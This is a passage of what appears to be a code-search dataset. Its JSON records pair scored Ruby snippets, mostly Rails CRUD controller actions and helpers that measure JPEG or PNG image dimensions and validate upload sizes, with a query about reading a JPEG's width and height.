:xml => @risk }\n end\n end", "title": "" }, { "docid": "b444aa2bca0efbd1f4cd029bcb37d2cb", "score": "0.5444154", "text": "def levels\n self.dig_for_integer(\"levels\")\n end", "title": "" }, { "docid": "1f3d5f5bab7a000f0fe9843e026c9a3b", "score": "0.5436247", "text": "def show\n @auth_level = AuthLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auth_level }\n end\n end", "title": "" }, { "docid": "ecc9d45da691388007f0fc7bb8ad9dbf", "score": "0.5427395", "text": "def index\n @game = Game.find(params[:game_id])\n @levels = @game.levels\n end", "title": "" }, { "docid": "ecc9d45da691388007f0fc7bb8ad9dbf", "score": "0.5427395", "text": "def index\n @game = Game.find(params[:game_id])\n @levels = @game.levels\n end", "title": "" }, { "docid": "ecc9d45da691388007f0fc7bb8ad9dbf", "score": "0.5427395", "text": "def index\n @game = Game.find(params[:game_id])\n @levels = @game.levels\n end", "title": "" }, { "docid": "43bb4d8347136e2a674b0c114c908e33", "score": "0.5424551", "text": "def index\n @level1s = Level1.all\n end", "title": "" }, { "docid": "c488e36e81cdd5a764c8bc9e57927cb4", "score": "0.54160357", "text": "def new\n @fixed_income = FixedIncome.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fixed_income }\n end\n end", "title": "" }, { "docid": "64f0c5ea71279309202df676b1eb4ea6", "score": "0.53940105", "text": "def index\n @incomes = Income.all\n end", "title": "" }, { "docid": "1ff15c89a7fa8a3d692c068765af24da", "score": "0.5391794", "text": "def index\n @urgency_levels = UrgencyLevel.all\n end", "title": "" }, { "docid": "40d96bc2abbb4d0e1a79ef24c9ccdd6e", "score": "0.53865826", "text": "def show\n @liability = Liability.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @liability.to_xml }\n end\n end", "title": "" }, { "docid": "e7a953b28b48b6de714032a7282c2049", "score": "0.5384773", "text": "def index\n @income_statuses = IncomeStatus.all\n end", "title": "" }, { "docid": "f2f41181027178bdda20525a6cf97dcd", "score": "0.53803575", "text": "def index\n @pain_levels = PainLevel.all\n respond_to do |format|\n format.html\n format.json { render json: @pain_levels }\n end\n end", "title": "" }, { "docid": "4cf8c0aadad553d5ef88871d60aa2a1f", "score": "0.5377679", "text": "def index\n level = params[:level]\n @items = Item.all\n respond_to do |format|\n format.html { render :index}\n format.json {render json: @items}\n end\n end", "title": "" }, { "docid": "4f049ae61d99e80436739cbac73d4459", "score": "0.53746223", "text": "def show\n @accesslevel = Accesslevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @accesslevel }\n end\n end", "title": "" }, { "docid": "e41966441d791e45390421fd5fa47d20", "score": "0.53710735", "text": "def show\n @liability = Liability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liability }\n end\n end", "title": "" }, { "docid": "f172adbf05d66e4da2b179fbafc794de", "score": "0.5360479", "text": "def index\n @incomes = Income.all\n\n end", "title": "" }, { "docid": "c83fe20dcb8b1992ebb6073b3324845a", "score": "0.53599435", "text": "def show\n @ledger = Ledger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ledger }\n end\n end", "title": "" }, { "docid": "827cc08cd8cacc144ffe048dc643b0f3", "score": "0.5357116", "text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @access_level }\n end\n end", "title": "" }, { "docid": "567c1cecf6a30d2ab1030163b1407217", "score": "0.53512496", "text": "def index\n @english_levels = EnglishLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @english_levels }\n end\n end", "title": "" }, { "docid": "632b741f6674241c76025f68754b3986", "score": "0.5345733", "text": "def index\n @liabilities = Liability.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @liabilities.to_xml }\n end\n end", "title": "" }, { "docid": "b08e371906247d58b5939fc85fdc6d8f", "score": "0.5345061", "text": "def show\n @loan_sector = LoanSector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loan_sector }\n end\n end", "title": "" }, { "docid": "bb30df8042e4aa4fe1c7138f1c2e7f97", "score": "0.53449464", "text": "def index\n @memberlevels = Memberlevel.all\n end", "title": "" }, { "docid": "bf8bd513c6b827b3594e9ef52b0d40cf", "score": "0.5338072", "text": "def show\n\t\t@sound_level = SoundLevel.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @sound_level }\n\t\tend\n\tend", "title": "" }, { "docid": "3f06b379b57e8a88af2c387fa1ae31b4", "score": "0.53369373", "text": "def index\n @witnesses = @infraction.witnesses\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @witnesses }\n end\n end", "title": "" }, { "docid": "90e0eeddb1838de9d64b9702992704b5", "score": "0.5335608", "text": "def index\n @year_levels = YearLevel.all\n end", "title": "" }, { "docid": "de32a29d9c4c35868d4a5a9719b8c848", "score": "0.53314966", "text": "def xml\n obj = {}\n obj[params['gameName']] = Level.where(params[\"gameName\"]+'.levelname'=>params[\"levelName\"]).to_a[0][params['gameName']]\n if obj.length == 0\n obj[params['gameName']] = Level.where(params[\"gameName\"]+'.levelName'=>params[\"levelName\"]).to_a[0][params['gameName']]\n end\n out = create_xml(obj, '')\n render :text => out, :content_type => 'text/xml'\n end", "title": "" }, { "docid": "212c19ecc1b9bca00990851481c0c8e9", "score": "0.53282315", "text": "def index\n @incomelogs = Incomelog.all\n end", "title": "" }, { "docid": "b9c3f2114c7afe488b5991d4cda703a9", "score": "0.53277886", "text": "def index\n @userlevels = Userlevel.all\n end", "title": "" }, { "docid": "d2cdac20372e6d548ebf0ad53e220e6b", "score": "0.5321823", "text": "def new\n @student_incomelevelship = StudentIncomelevelship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @student_incomelevelship }\n end\n end", "title": "" }, { "docid": "775200626cedda609601c5e4d6faeeb2", "score": "0.5302003", "text": "def index\n @yearlevels = Yearlevel.all\n end", "title": "" }, { "docid": "775200626cedda609601c5e4d6faeeb2", "score": "0.5302003", "text": "def index\n @yearlevels = Yearlevel.all\n end", "title": "" }, { "docid": "d6b0fcb3ffa1a40e24d4fd40716ed95a", "score": "0.5293742", "text": "def show\n @education_concentration = EducationConcentration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @education_concentration }\n end\n end", "title": "" }, { "docid": "262ffcd0b3f1846d77ea17a9b2289f14", "score": "0.5287977", "text": "def index\n @lookups = Lookup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookups }\n end\n end", "title": "" }, { "docid": "cf1b7cd1714a305aebf4873db0286a5b", "score": "0.5287616", "text": "def destroy\n @incomelevel = Incomelevel.find(params[:id])\n @incomelevel.destroy\n\n respond_to do |format|\n format.html { redirect_to(incomelevels_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "34a6ccbdbd80f2155883808348a5934f", "score": "0.52813697", "text": "def index\n @gst_levels = GstLevel.where(hotel_src_id: current_user.hotel_src_id).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gst_levels }\n end\n end", "title": "" }, { "docid": "cd9e7a3e5a5eb5e6e7641f4a58b006b7", "score": "0.52771544", "text": "def new\n @price_level = PriceLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @price_level }\n end\n end", "title": "" }, { "docid": "2cb12ae5e2df05b914310de881d203a7", "score": "0.52751505", "text": "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @costs }\n end\n end", "title": "" }, { "docid": "b6eeb0d8d40e5aedd99117c5c30281e6", "score": "0.52693754", "text": "def index\n @academic_levels = AcademicLevel.all\n end", "title": "" }, { "docid": "7e1ac82048d5d0ea96b29c752713c38f", "score": "0.5268956", "text": "def index\n @stocklevels = Stocklevel.all\n end", "title": "" }, { "docid": "bd336589ad6b77a9b0d7aeac37fffde2", "score": "0.5263562", "text": "def index\n @budgets = Budget.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @budgets }\n end\n end", "title": "" } ]
65578bc3771f5952cbf4432467135883
jpeg_size(file) => width, height file is a File object open on a JPEG image
[ { "docid": "ec190faf71ff6e8bce6cf9ebe4fde0ac", "score": "0.8265584", "text": "def jpeg_size file\n\n # Basically, we're doing this:\n #\n # jpegtopnm pdf-test.jpg | pnmfile\n #\n # STDERR: \"jpegtopnm: WRITING PPM FILE\"\n # STDIN: \"stdin:\tPPM raw, 800 by 630 maxval 255\"\n #\n # and returning 800, 630\n\n return image_size(file, \"jpegtopnm '%s' | pnmfile\")\n end", "title": "" } ]
[ { "docid": "ae12cccefdbb20fbc8798b813c297ef4", "score": "0.7398791", "text": "def image_size(path)\n `file #{path}` =~ /(\\d+)\\s*x\\s*(\\d+)/\n [$1, $2].map(&method(:Integer))\nend", "title": "" }, { "docid": "06c6572172e630648399f065413c4315", "score": "0.73043716", "text": "def image_size(path)\n o=`file #{path}`\n o.match(/\\b(\\d+)\\s*x\\s*(\\d+)\\b/)\n return {:width=>$1.to_i, :height=>$2.to_i}\nend", "title": "" }, { "docid": "256835c82e609022e8ace5cae95fbdb8", "score": "0.71758217", "text": "def image_size\n @image_size ||= MiniMagick::Image.open(image_file_path.path)\n end", "title": "" }, { "docid": "8af479478804c4fac2500d862adfd3ae", "score": "0.7110319", "text": "def size(filename); end", "title": "" }, { "docid": "9000af0685c3a129f959929d0f257987", "score": "0.6989013", "text": "def size\n case self.type\n when :gif\n @img[6..10].unpack('SS')\n when :png\n @img[16..24].unpack('NN')\n when :bmp\n d = @img[14..28]\n d.unpack('C')[0] == 40 ? d[4..-1].unpack('LL') : d[4..8].unpack('SS')\n when :jpg\n d = StringIO.new(@img)\n section_marker = 0xff # Section marker.\n d.seek(2) # Skip the first two bytes of JPEG identifier.\n loop do\n marker, code, length = d.read(4).unpack('CCn')\n fail \"JPEG marker not found!\" if marker != section_marker\n if JPEG_SOF_BLOCKS.include?(code)\n #@bits, @height, @width, @channels = d.read(6).unpack(\"CnnC\")\n return d.read(6).unpack('CnnC')[1..2].reverse\n end\n d.seek(length - 2, IO::SEEK_CUR)\n end\n end\n end", "title": "" }, { "docid": "cac15b88181fd224f2da6e6210ae18f9", "score": "0.6900879", "text": "def image_file_dimensions\n \"#{image_file_width}x#{image_file_height}\"\n end", "title": "" }, { "docid": "18f54975229ccc40c9ac8ded35a656c4", "score": "0.68427753", "text": "def imagesize(path)\n # returns [width, height]\n throw NotImplementedError\n end", "title": "" }, { "docid": "bdad6d67425a1175b2dcd16f5c9dd12b", "score": "0.6771271", "text": "def image_size # read image file height and width\n # we now use Dimensions gem\n case self.extname.downcase\n when \".png\", \".gif\", \".jpg\", \".jpeg\", \".tif\", \".tiff\"\n return Dimensions::dimensions(self)\n else\n return [nil, nil]\n end\n end", "title": "" }, { "docid": "83e4f08d9044a49defd3af390857d638", "score": "0.67419094", "text": "def image_size\n {\n width: image_file_width,\n height: image_file_height\n }\n end", "title": "" }, { "docid": "6a17a5a7671950cd245b946623efbc85", "score": "0.67061293", "text": "def image_size\n {\n width: image_file_width,\n height: image_file_height\n }\n end", "title": "" }, { "docid": "e9a689b3e6663c3e072150dd01bf6fe2", "score": "0.66713923", "text": "def dimensions\n @dimensions ||= begin\n if @file\n img = ::Magick::Image::read(@file.file).first\n { width: img.columns, height: img.rows }\n end\n end\n end", "title": "" }, { "docid": "d416ad326f202874a925897edfe90f5a", "score": "0.6662624", "text": "def file_dimensions\n\t\tdimensions = Paperclip::Geometry.from_file(file.queued_for_write[:original].path)\n\t\tself.width = dimensions.width\n\t\tself.height = dimensions.height\n\n\t\tif dimensions.width < 200 && dimensions.height < 200\n\t\t\terrors.add(:file,'Width or height must be at least 50px')\n\t\tend\n\tend", "title": "" }, { "docid": "d416ad326f202874a925897edfe90f5a", "score": "0.6662624", "text": "def file_dimensions\n\t\tdimensions = Paperclip::Geometry.from_file(file.queued_for_write[:original].path)\n\t\tself.width = dimensions.width\n\t\tself.height = dimensions.height\n\n\t\tif dimensions.width < 200 && dimensions.height < 200\n\t\t\terrors.add(:file,'Width or height must be at least 50px')\n\t\tend\n\tend", "title": "" }, { "docid": "ba678ee21b6008503cade84d8ac80e3d", "score": "0.6635014", "text": "def image_size\n return unless file.size > 4.megabytes\n errors.add(:file, 'deve ser menor que 4MB')\n end", "title": "" }, { "docid": "05b86e6395bf2c4622adac737e7ea2b6", "score": "0.65739506", "text": "def image_size(style = default_style)\n \"#{width(style)}x#{height(style)}\"\n end", "title": "" }, { "docid": "9e42c30011c17129920e9dd96c89c0d3", "score": "0.65531594", "text": "def jpeg_count\n records.select{|r| r[:path] =~ /\\.jpg$/}.length\n end", "title": "" }, { "docid": "759ecc73107101a663ffc695b120e119", "score": "0.6524193", "text": "def get_dimensions(image_data)\n image_data.rewind #Just in case\n img = ImageSize.new(image_data.read)\n @width = img.width\n @height = img.height\n end", "title": "" }, { "docid": "538783fa88c51c52fd75eeed15530e9b", "score": "0.6492453", "text": "def image_size(img)\n i = ImageSize.new(img)\n {\"width\" => i.get_width, \"height\" => i.get_height}\nend", "title": "" }, { "docid": "805b6f277382c16c55c42c058db951a6", "score": "0.64734054", "text": "def image_file_dimensions(aFilename)\n\t\t\tif geomImage = Paperclip::Geometry.from_file(aFilename)\n\t\t\t\treturn geomImage.width,geomImage.height\n\t\t\telse\n\t\t\t\treturn nil,nil\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "a48f2e7b748cdb9b801f3c91dec7fcfc", "score": "0.645636", "text": "def picture_size\n if src.size > 5.megabytes\n errors.add(:src, \"should be less than 5MB\")\n end\n end", "title": "" }, { "docid": "567513118b7ddfed01a3c1f0fbe17b15", "score": "0.6444783", "text": "def picture_size\n if picture.size > 3500.kilobytes\n errors.add(:picture, \"should be less than 3.5MB\")\n end\n \n end", "title": "" }, { "docid": "ca0af6bab3cf02cabefe12d55d5f825d", "score": "0.64413476", "text": "def height\n im = Magick::Image.read path\n return im[0].rows\n end", "title": "" }, { "docid": "b5545c2b02193e4910bb2410fe8474fa", "score": "0.6434592", "text": "def picture_size\n \t\tif picture.size > 1.megabyte\n \t\t\terrors.add(:picture, \"should be less than 1MB\")\n \t\tend\n \tend", "title": "" }, { "docid": "1abf16ffdcc204d03605901c4322403c", "score": "0.6429968", "text": "def width\n # FIXME: save this and height in db instead\n im = Magick::Image.read path\n return im[0].columns\n end", "title": "" }, { "docid": "6e74476626aa5bacca962dca0f581301", "score": "0.64171135", "text": "def compute_dimensions\n return unless @file\n\n spec = ::ImageSpec.new(@file)\n if spec.content_type != 'application/x-shockwave-flash'\n raise SwfFormatException.new I18n.t('neofiles.swf_type_incorrect', content_type: spec.content_type)\n end\n self.width = spec.width\n self.height = spec.height\n end", "title": "" }, { "docid": "06c0f8c1a408d738374542c5af6975e8", "score": "0.64118165", "text": "def get_size(size)\n size.to_i != 0 ? file.variant(resize_to_fit: [size, size]) : file\n end", "title": "" }, { "docid": "daaf863063003a8b1c414956d6d4a933", "score": "0.6404639", "text": "def extract_upload_dimensions\n return unless image?\n \n tempfile = image.queued_for_write[:original]\n \n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.width = geometry.width.to_i\n self.height = geometry.height.to_i\n # self.save\n end\n end", "title": "" }, { "docid": "22a231e29bbe8ac46eeb07a991344878", "score": "0.6404319", "text": "def picture_size\n if picture.size > 50.kilobytes\n errors.add(:picture, 'should be less than 200 KB')\n end\n end", "title": "" }, { "docid": "fc014ac525c877b41a6dbcc693291d3d", "score": "0.6401616", "text": "def size\n @size ||= File.size(file)\n end", "title": "" }, { "docid": "8a2b84774901df5111a3303781b6a298", "score": "0.6392744", "text": "def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"File too large(should be less than 5MB)\")\n end\n end", "title": "" }, { "docid": "b87e542dc03ac9483f0b6196175dfa18", "score": "0.6390763", "text": "def pic_size\n\tif picture.size > 5.megabytes\n\t\terrors.add(:picture, \"file must be smaller \n\t\t\tthan 5MB\")\n\tend\nend", "title": "" }, { "docid": "c284ec7b29e78bd7b5564b63bf16c099", "score": "0.6372002", "text": "def photo_count\n return size\n end", "title": "" }, { "docid": "1aeaa3f9bb742a0efca9cb3b551eed2c", "score": "0.6364683", "text": "def picture_size\n if picture.size > 500.kilobytes\n errors.add(:picture, \"should be less than 500kB\")\n end\n end", "title": "" }, { "docid": "f1c53ee28c20b5fc8088790777b104bf", "score": "0.6360095", "text": "def size\n File.size(file.path)\n end", "title": "" }, { "docid": "11e911c2a3d30868300d256df38dff0a", "score": "0.6319052", "text": "def extract_dimensions\n return unless image?\n tempfile = image.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.width = geometry.width.to_i \n self.height = geometry.height.to_i\n end\n end", "title": "" }, { "docid": "e4ace36bee21ea532b28bd7f1be5c74e", "score": "0.63111037", "text": "def file_size; self.file_file_size; end", "title": "" }, { "docid": "4266cf525764ea34747c0b34c336cb71", "score": "0.63003534", "text": "def image_dimensions(input) \n dims=_dimensions(input);\n w = dims[0]\n h = dims[1]\n \"width='#{w.ceil}px' height='#{h.ceil}px'\"\n end", "title": "" }, { "docid": "0cfe85e0788dff2ef3579a6e0ba3410a", "score": "0.6293966", "text": "def extract_dimensions\n tempfile = image.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n width = geometry.width.to_i\n height = geometry.height.to_i\n\n self.width_in_pixels, self.height_in_pixels = resize(width,height)\n #puts \"#{geometry.width.to_i}x#{geometry.height.to_i} => #{self.width_in_pixels}x#{self.height_in_pixels}\"\n require 'ImageResize'\n Image.resize(tempfile.path, tempfile.path, self.width_in_pixels, self.height_in_pixels)\n\n geometry = Paperclip::Geometry.from_file(tempfile)\n puts geometry.width.to_s\n end\n end", "title": "" }, { "docid": "864f44b8afbc47528ddc38cd00c44c66", "score": "0.6287175", "text": "def save_image_dimensions\n geo = Paperclip::Geometry.from_file(image.queued_for_write[:original])\n self.image_width = geo.width\n puts self.image_height\n self.image_height = geo.height\n end", "title": "" }, { "docid": "a62f5cc677c7c91fc1c9068f221fb08f", "score": "0.6283743", "text": "def extract_dimensions\n return if self.kind == 'audio'\n\n if self.kind == 'image'\n tempfile = file.queued_for_write[:original]\n elsif self.kind == 'video'\n tempfile = file.queued_for_write[:large] # large thumbnail for video\n end\n\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.width = geometry.width.to_i\n self.height = geometry.height.to_i\n end\n end", "title": "" }, { "docid": "697fa0dd0a0e4c6cc35d1b88dca36270", "score": "0.6280562", "text": "def try_get_size(file)\n result = GitHub::Result.new do\n if file.meta && file.meta[\"content-length\"]\n size = file.meta[\"content-length\"].to_i\n else\n size = File.size(file)\n end\n end\n result.value { 0 }\n end", "title": "" }, { "docid": "13535d5c1e2133e63fec119efc7d24f1", "score": "0.62757695", "text": "def image_width(style)\n x = self.file.image_size(style).split('x').first if self.file_meta.present?\n # if for some reason image size does not exist, return a default value\n if x.nil?\n if style == :medium\n x = 653\n elsif style == :thumb\n x = 327\n else\n x = 980\n end\n end\n\n return x\n end", "title": "" }, { "docid": "9926984fbd943c4a744419b8b843384f", "score": "0.6273971", "text": "def width\n image[\"resource\"][\"width\"].to_i\n end", "title": "" }, { "docid": "c6edf2e8a591fd45df454088a5bdb32f", "score": "0.627266", "text": "def image_size\n if image.size > 3.megabytes\n errors.add(:image, \"image too heavy (3MB max)\")\n end\n end", "title": "" }, { "docid": "5e65bd020d395cb5617e77a195a3a28d", "score": "0.62626964", "text": "def width\n @image[\"width\"]\n end", "title": "" }, { "docid": "3e64ab55f895ab37a5f67f86cb9af452", "score": "0.62517625", "text": "def extract_dimensions\n tempfile = self.image.queued_for_write[:large]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.dimensions = [geometry.width.to_i, geometry.height.to_i]\n end\n end", "title": "" }, { "docid": "61c6c3560dcf804befa55f04e27c5cee", "score": "0.6244282", "text": "def extract_dimensions\n\t return unless image?\n\t tempfile = file.queued_for_write[:original]\n\t unless tempfile.nil?\n\t geometry = Paperclip::Geometry.from_file(tempfile)\n\t self.dimensions = [geometry.width.to_i, geometry.height.to_i]\n\t end\n\tend", "title": "" }, { "docid": "5f67b5470507a4290d6949825b2730cd", "score": "0.6244051", "text": "def image_size\n\n if self.image.size > 1.megabytes\n errors[:image] << \"should be less than 1MB\"\n end\n end", "title": "" }, { "docid": "472bcb1ee88928f39f410b9a3fc70530", "score": "0.6242933", "text": "def image_size\n if image.size > 100.kilobytes\n errors.add(I18n.t(:image), \"#{I18n.t(:size_cover)} #{I18n.t(:cover_size_after_resize)} 100KB\")\n end\n end", "title": "" }, { "docid": "54de233e2a59db73b618a22fae63ea79", "score": "0.6236744", "text": "def picture_size\n\t\t\tif picture.size > 1.megabytes\n\t\t\t\terrors.add(:picture, \"should be less than 1MB\")\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "2c0d73725a1b57cfe2c01fd5a9cbde6a", "score": "0.623507", "text": "def calculate_size_from_single_file\n length\n end", "title": "" }, { "docid": "404c57da712fb092d81b2c2b66cd079d", "score": "0.62297934", "text": "def image_size\n [width.to_s, height.to_s] * 'x'\n end", "title": "" }, { "docid": "ad23a5da3b7103fba845cbbd1f9e6d2f", "score": "0.62290716", "text": "def width\n @image.width\n end", "title": "" }, { "docid": "ad23a5da3b7103fba845cbbd1f9e6d2f", "score": "0.62290716", "text": "def width\n @image.width\n end", "title": "" }, { "docid": "d72e678d26738e2c05a5874a31f38b9b", "score": "0.62194484", "text": "def width\n @png.width\n end", "title": "" }, { "docid": "d72e678d26738e2c05a5874a31f38b9b", "score": "0.6219337", "text": "def width\n @png.width\n end", "title": "" }, { "docid": "3a2648f0a136da68414c328606743d3e", "score": "0.6204221", "text": "def picture_size\n\t\tif picture.size > 5.megabytes\n\t\t\terrors.add(:picture, \"Too Large\")\n\t\tend\n\tend", "title": "" }, { "docid": "fcfee0c0d3ca605a479e63f93fd64a81", "score": "0.6201835", "text": "def size; File.size(@full_filename) if @full_filename; end", "title": "" }, { "docid": "a4de515c78e3a0438db2a68077497fb7", "score": "0.6190543", "text": "def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"Image file size should be less than 5MB\")\n end\n end", "title": "" }, { "docid": "a4de515c78e3a0438db2a68077497fb7", "score": "0.6190543", "text": "def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"Image file size should be less than 5MB\")\n end\n end", "title": "" }, { "docid": "a4de515c78e3a0438db2a68077497fb7", "score": "0.6190543", "text": "def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"Image file size should be less than 5MB\")\n end\n end", "title": "" }, { "docid": "b9b0967f8b0e45a77c77f5decf0789d4", "score": "0.61763", "text": "def find_dimensions\n temporary = photo.queued_for_write[:original]\n filename = temporary.path unless temporary.nil?\n filename = photo.path if filename.blank?\n geometry = Paperclip::Geometry.from_file(filename)\n self.image_width = geometry.width\n self.image_height = geometry.height\n end", "title": "" }, { "docid": "abe7ad21beec8a136aef75c1d68b8445", "score": "0.6175204", "text": "def dimensions\n if defined? @dimensions\n @dimensions\n else\n @dimensions = FastImage.size(@url, timeout: 20)\n end\n end", "title": "" }, { "docid": "9a433fef5107bb0d835fabfcc0bd0a13", "score": "0.6173175", "text": "def extract_dimensions\n return unless image?\n tempfile = file.queued_for_write[:original]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.dimensions = [geometry.width.to_i, geometry.height.to_i]\n end\n end", "title": "" }, { "docid": "904b7ce0d0227819af9c59cd960d2b88", "score": "0.617152", "text": "def image_size\n 4.times do |i|\n \tphoto = \"image#{i+1}\"\n \tif eval(photo).size > 5.megabytes\n \terrors.add(:picture, \"should be less than 5MB\")\n \tend\n end\n \tend", "title": "" }, { "docid": "aace619075f48448797f057d18fc8532", "score": "0.61676574", "text": "def picture_size\n\t\t\tif picture.size > 10.megabytes\n\t\t\t\terrors.add(:picture, \"10MB를 넘는 사진입니다.\")\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "22acde7a3a22759336c477c898faa9aa", "score": "0.61618125", "text": "def picture_size\n if attached_file.size > 200.kilobytes\n errors.add(:attached_file, 'should be less than 200 KB')\n end\n end", "title": "" }, { "docid": "2d10ec0b210ba7de64167580d2d8f9a4", "score": "0.6158144", "text": "def picture_size\n if picture.size > 3.megabytes\n errors.add(:picture, \"should be less than 3MB\")\n end\n end", "title": "" }, { "docid": "f4b76f6af44e6725ed72f534a28ccff4", "score": "0.61547464", "text": "def width\n mini_magick_image[:width]\n end", "title": "" }, { "docid": "b62279f7ff16b10acea311e617ed6589", "score": "0.61537486", "text": "def file_size\n self.file_file_size\n end", "title": "" }, { "docid": "41a7353b620862e7dac89d1b1f772cc4", "score": "0.6153449", "text": "def save_image_dimensions\n geo = Paperclip::Geometry.from_file(image.queued_for_write[:original])\n self.width = geo.width\n self.height = geo.height\n end", "title": "" }, { "docid": "3fdca050aa49897926475133d18cdbe2", "score": "0.6152109", "text": "def picture_file_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end", "title": "" }, { "docid": "2b8ae3fd30286b89066f8efe4799f7b7", "score": "0.61507034", "text": "def resize_picture(filename,x_count=1, y_count=1)\n x = self.column_width * x_count\n y = self.column_height * y_count\n\n #puts \"resizing to x,y: #{x}, #{y}\"\n image = Magick.new(filename: filename)\n image.resize(x,y)\n end", "title": "" }, { "docid": "987acbb3ecccb867a471a5f5710a3999", "score": "0.6149445", "text": "def picture_size\n # if self.img_url.size > 5.megabytes\n # errors.add(:img_url, \"should be less than 5MB\")\n # end\n end", "title": "" }, { "docid": "75c903a65ffa3c4d7d3083a058a35cd4", "score": "0.6147908", "text": "def image_size\n [width.to_s, height.to_s] * 'x'\n end", "title": "" }, { "docid": "75c903a65ffa3c4d7d3083a058a35cd4", "score": "0.6147908", "text": "def image_size\n [width.to_s, height.to_s] * 'x'\n end", "title": "" }, { "docid": "75c903a65ffa3c4d7d3083a058a35cd4", "score": "0.6147908", "text": "def image_size\n [width.to_s, height.to_s] * 'x'\n end", "title": "" }, { "docid": "cbbddd73be4c6c02f6a9580f69d8e177", "score": "0.61476797", "text": "def image_size \n if image.size > 5.megabytes \n errors.add(:image, \"should be less than 5MB\")\n end \n end", "title": "" }, { "docid": "cbbddd73be4c6c02f6a9580f69d8e177", "score": "0.61476797", "text": "def image_size \n if image.size > 5.megabytes \n errors.add(:image, \"should be less than 5MB\")\n end \n end", "title": "" }, { "docid": "81d04c0bcf79b8abaebbf99cdcf8ee95", "score": "0.6146408", "text": "def picture_size\n \tif picture.size > 5.megabytes\n \t errors.add(:picture, \"should be less than 5MB\")\n \tend\n end", "title": "" }, { "docid": "46a761538800f58dae5530383181b85f", "score": "0.61436003", "text": "def picture_size\n if image.size > 1.megabytes\n errors.add(:image, \"should be less than 1MB (the Hulkster ain't made of storage!)\")\n end\n end", "title": "" }, { "docid": "23cb8bb0459e2770706c09b64c1c9f67", "score": "0.6142911", "text": "def picture_size\n if picture.size > MAX_PIC_SIZE.kilobytes\n errors.add(:picture, \"should be less than 500kB\")\n end\n end", "title": "" }, { "docid": "c63e3b9a3c4ad98cd19d2e36b077cbed", "score": "0.61402017", "text": "def dimensions\n @options[:resize] || @image[:dimensions].join('x')\n end", "title": "" }, { "docid": "7c469276757001f46568e01139b2ac86", "score": "0.6138947", "text": "def picture_size\n errors.add(:image, 'should be less than 1MB') if image.size > 1.megabytes\n end", "title": "" }, { "docid": "7c469276757001f46568e01139b2ac86", "score": "0.6138947", "text": "def picture_size\n errors.add(:image, 'should be less than 1MB') if image.size > 1.megabytes\n end", "title": "" }, { "docid": "88b37616917f54b08da7de35357bba14", "score": "0.61344165", "text": "def file_length(file)\n file['length']\n end", "title": "" }, { "docid": "f0ec3c6b6606784b9cda769a65277b7a", "score": "0.6133601", "text": "def size\n file.content_length\n end", "title": "" }, { "docid": "aeb5689bf75e820c39e295ec4a310bad", "score": "0.61318946", "text": "def read_dimensions\n if image? && file = asset.queued_for_write[:original]\n geometry = Paperclip::Geometry.from_file(file)\n self.original_width = geometry.width\n self.original_height = geometry.height\n self.original_extension = File.extname(file.path)\n end\n true\n end", "title": "" }, { "docid": "556b57c5f04af8d9a28ce47f875d5555", "score": "0.6131533", "text": "def image_size\n if :image_url.size > 2.megabytes\n errors.add(:image_url, \"should be less than 2MB\")\n end\n end", "title": "" }, { "docid": "49e9b65452d372f4717b1a09306972c9", "score": "0.6130997", "text": "def get_dimensions\n dimensions = nil\n\n open_file do |file|\n file.pos = DIMENSIONS_OFFSET[@type]\n read = []\n\n # Check the image type.\n if @type == JPEG\n # Read until we can't anymore or we've found what we're looking for.\n done = false\n while !file.eof? and !done\n # Read to the next marker.\n read_source(file,read) {|c| c == 0xff} # Read to the marker.\n read_source(file,read) {|c| c != 0xff} # Skip any padding.\n\n if read[-1] >= 0xc0 && read[-1] <= 0xc3\n # Read in the width and height details.\n read_source(file, read, 7)\n dimensions = read[-4,4].pack('C4').unpack('nn').reverse\n done = true\n else\n # Skip the marker block.\n read_source(file, read, 2)\n read_source(file, read, read[-2,2].pack('C2').unpack('n')[0] - 2)\n end\n end\n elsif @type == PNG\n # Read in the data to contain the width and height.\n read_source(file, read, 16)\n dimensions = read[-8,8].pack('C8').unpack('N2')\n elsif @type == BITMAP\n # Read in the data to contain the width and height.\n read_source(file, read, 18)\n dimensions = 